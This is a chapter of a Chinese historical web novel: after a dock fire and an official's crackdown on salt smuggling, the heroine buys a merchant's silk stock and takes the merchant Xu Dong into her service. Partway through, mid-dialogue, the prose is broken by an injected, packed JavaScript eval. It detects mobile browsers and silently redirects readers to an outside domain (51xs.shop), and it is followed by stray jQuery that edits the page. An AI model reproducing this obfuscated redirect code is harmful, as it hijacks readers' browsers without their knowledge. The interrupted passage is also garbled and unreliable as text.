“着火？”
“哪着火了？”
焦急而匆忙的疑问声在各处不时响起，渡口一时聚集了不少人，原先躲起来的商户下人也都探出了头。
澜沧江自西向东，环经北朝十六城池，来往船只络绎不绝，通陵背山沿河，在此处便形成一个天然的葫芦口，来往船只大多停泊于此，是以久而久之便成了上船下运的好去处，除了运送货物的货船，还有官眷富户的客船和商船，大大小小二十几艘隔着距离靠在此处。
起火的船只位于渡口偏僻的角落，是以没有牵连到其余船只，却因为火势来的快而汹涌，眨眼之间，半艘都被烧的只剩下骨架，映的半个天空都变成火红。
湿漉漉的水声哗啦啦响起，穆闻抱着郑从贲借侍卫托举上了岸。
天地之间静默而又喧腾，仿佛撕裂对峙成截然相反的天堂与地狱两端，却因中间地带实在模糊而濡湿成数不尽的灰泪。
穆闻抱着冰冷的尸首悲戚难抑，侍卫站在一旁。
“大人，是郑从贲的心腹，用火油点燃了船舱。属下赶去时人已经服毒自尽。”薛揆道。
郑从贲这个人着实心计不浅，又果断狠辣，竟想出以身为饵，虚虚实实的带着他们在这通陵县兜了不少圈子，若不是大人察觉不对，只怕还真叫他瞒天过海。
年轻人静静立在江边，熊熊火光照出他俊美无俦的侧颜，从薛揆的角度觑去，像是埋了经年的血气残韵，越发显得冷沉无情，叫人辨不出分毫情绪。
薛殷牵着马走过来，裴元俭折身勒绳上马，动作迅疾而利落，袍角划过空中，锋利而冷戾。
年轻人端坐马上，长眉斜飞入鬓，高冠束发，风姿仪秀，颀长背影冷峻，杨柳参差，野花摇曳，动作亦是楚楚风流。
可偏偏眸色漆黑深不见底，便硬是将俊美压下去几分，显出高高在上的睥睨：
“上书陛下，从今日起，州县连保，货船行商皆登记造册，所停渡口一应设障盘查，凡遇走运私盐者，当场格杀，所属州县官员一律连降三级。”
裴元俭眸光微收，似笑非笑道：“我倒要看看，还有谁愿意英勇赴死。”
像是赞许溢美之词，却偏偏让人感到铺天盖地窒息般的恐慌，如临深渊，话里的内容更是让人不寒而栗。
裴元俭一行离开后，穆闻抱着郑从贲的尸首也朝着一个方向走去，不过片刻，渡口上来来往往的人全部消失不见，天地阒然静默，仿佛刚才的剑拔弩张不曾存在，也不曾有人刎颈而死。
姜回默了默，开口道：“走吧。”
许氏商号的货船停的有些远，姜回和绥喜费了些功夫才找到，此时已经延误时辰许久，许东正惴惴不安的来回走动，连方才起火也无暇顾及，生怕错过。
几个模样焦急的男子围在他身边吵嚷：“许掌柜，你说的那人不会是诓骗我们的吧？”
“胡说，你见过白给一百两纹银戏耍人的？”
“那莫不是记错了时辰？”
“好了。别吵了。”一直绷着脸的许东不耐的打断，种种不好的可能难以抑制的涌上心头，三百葛莨绸都已裁剪连夜做成成衣，若是被突然反悔，几乎切断了他们所有生路。
人到绝处偏爱赌。总是忍不住心存侥幸的希望，就像在看到光明之后，哪怕只有一线，也能让身处黑暗太久的人不遗余力去耗尽最后一丝力气。
他也无法脱离姜回给出的诱惑，白银五千两，足够解决遇到的所有困境。但此刻许东忽而萌生起巨大的后悔，脸色隐隐发白，若是。
“许东。”
一道清悦的女声忽而响起，将许东从迷茫困顿乃至绝望中骤然拔了出来。
灯火辉煌如昼，船上夜风微凉，少女静静立在那里，衣襟染血，却不损容丽，宛若一半胭红一半洁白的曼珠沙华，清丽与姝色诡异而又恰当的融合。
许东微愣，却又在注意到她身边丫鬟骤然反应过来，是她。
那个要买他的神秘东家。
竟然真的是个女子，还生的如此好看。
“我的条件你完成了么？”姜回蓦的开口，打断了许东的打量。
许东猝然回神，意识到自己过于直白的目光有所冒犯，歉意的点了点头，“姑娘随我来。”
许东在前面引路，姜回由绥喜扶着，脚步缓慢而从容的跟了上去，留下的几人面面相觑。
“许掌柜说的买家怎么会是一个女子？这简直玩闹！”老胡气的吹胡子瞪眼。
“不管她是谁，只要她有银子买了就是解了我们燃眉之急的大恩人，我老钟感激她！”
说罢，手一挥率先跟了上去，剩下的人犹豫片刻也跟着走了，老胡拊掌叹息也跟着往里走。
哼！他倒要看看这两个小丫头能不能拿出几千两银子！
茛绸虽颜色不比杭绸苏绸品种繁多，色彩绮丽，却也更加娇贵，不喜阴湿，是以并未放在下层货舱而是将住的地方腾出来妥善安置。
这住舱狭长，烛火昏暗，樟木箱贴着船壁高高码了两层，相同铜式如意样式的锁，许东从怀里拿出一枚样式繁复的钥匙打开其中一个箱子，露出叠放整齐的成衣。
“三日的时间刺绣无论如何也来不及，只裁剪却能勉强达到。”
姜回不语，许东便自顾自接了下去，解释道：“我去通陵的成衣铺打听了卖出最多的成衣尺寸，将近九成的茛绸做了出来，剩余一成则做成市面上不太容易卖出的尺寸。”
通陵大大小小成衣铺也有一十三间，其中最大的便是城北的连云成衣铺和城西的锦绣成衣坊，各恃一方隐隐有对立之势，每日来来往往的人也最多，他和几个人旁敲侧击去问了客人最常卖的尺寸，又按照偏大或偏小的尺寸适当做了约莫各二十件。
许东这个办法也是权宜之下取巧，但姜回给的时间太少，情急之下也就只能草草应对，但茛绸实在是好布料，委实不应该被如此对待，宛若明珠蒙尘还被弃做沙砾。
若不是没办法，想到这，许东又沉沉叹口气。
姜回眉尖蹙起，索性直接抛入正题：“许东，考虑好了吗？”
姜回指尖停在樟木箱旁轻轻敲了敲，在静谧的船舱内分外清晰：“别忘了，我要的不止茛绸，还有你。”
“你这是什么意思？”老胡进来就听到这句话，眼神惊疑不定的徘徊在姜回和许东之间。
姜回顿了顿，转身朝住舱外走去：“许东，半盏茶的时间告诉我你的答案。”
许东沉默着点点头，转头对上几人的目光。
“许掌柜，这怎么回事？她说的那话是什么意思
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730284|143467||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？”
“我就说她是在拿我们玩笑，这些高门大小姐惯会捉摸人。”老胡气的胡子翘起，混浊眼神闪过厌恶。
这世道艰难，一夜之间家破人亡的不知多少，还记得半年前，有个姑娘卖身救母，当地豪绅家的小姐正巧路过，随口道：若是她能在日落之前三拜九叩从东街跪到西街，便给十两银子。
小姑娘磕的头破血流，惨的呦，跪在那摇摇欲坠，可谓是面如金纸，结果那小姐说自己从未说过，潇潇洒洒的乘着轿撵离去。
“各位。”许东拱手弯腰鞠了一躬，抬起头道：“我已决意答应那位小姐。”
“许掌柜——”
“这种模样做什么，我去了那位小姐手底下，依然是做掌柜。”许东看着几人一脸欲言又止，好似他要上刀山的架势，不禁宽慰的爽朗笑道。
“你们也知道，许某孤身一人，在潭州还是在通陵都无甚区别，小姐不但愿意买了我们的全部茛绸，甚至，愿出每匹纹银十二两。”
有道是，雪中送炭漠中水，锦上添花春上柳。荒漠地干而旱，水最难得，足够解救濒死之人于倒悬，而锦上添花却似春天的柳枝，随处可见，并不稀罕。
许东在铺子困难时不是没有求助于昔日旧友，却一个个对他避之不及，要么在见到以后长吁短叹说着自己铺子每日朝不谋夕，话里话外都是没有银子，甚至还问他借，趁火打劫的也有不少，竟然一匹只给半两碎银。
不管姜回的意图究竟是什么，她愿意帮他是事实，而且她愿意出十二两纹银，这让许东觉得连日来的种种难说出口的艰涩一扫而空，甚至脊骨都挺直，颇似扬眉吐气。
“各位知道，这不但可解燃眉之急，还能有剩余，足够回乡做点小买卖安逸度日，而我，既然承蒙小姐不弃，我愿为她鞍前马后。”
“许掌柜，这。”得到好处的都是他们，却让许东以自身为代价，这实在，于心难安啊。
“各位往日信赖许某，将家财尽数交与我，许某感激不尽，但山水有尽，许某自认虽有小智，在为商一途却并不算心思玲珑，多年来沉浮跌宕，也让许某认清了自己。”
“许某不适合做掌柜，如今也算弃暗投明，诸位该为许某欣喜。”
几人对视一眼，站出来道：“也罢。许掌柜，那我们便觍脸受了，万望许掌柜今后得偿所愿。”
“多谢。”许东道。
船舱内灯火明媚，出了船舱却能感觉到江上冷风簇簇刮过，夜色深静。许东找到姜回时，她正坐在船边赏月，明明瞧着出身尊贵，气度不凡，此刻却不在意的随地而坐，裙裾层层叠叠落成一团，如馥郁重花。
月光皎白，江水不甚明显的起伏声回荡耳畔，女子声音比江水更为冰冷：“考虑的如何了？”
“主子。”许东道。
“绥喜，给他。”姜回道。
绥喜从怀里拿出早就准备好的五千两银票，当着许东的面清点一遍然后再交给他，“许掌柜，这是五千两纹银。收好。”
“谢过主子。”
“还有一点，我要告诉你，”姜回抬头，月光浅晕照进女子瞳孔，如琉璃般明净透彻，恍若山间佛香飘淡露出的一株莲花。
“如果敢背叛我。”
“我会让你，死无全尸。”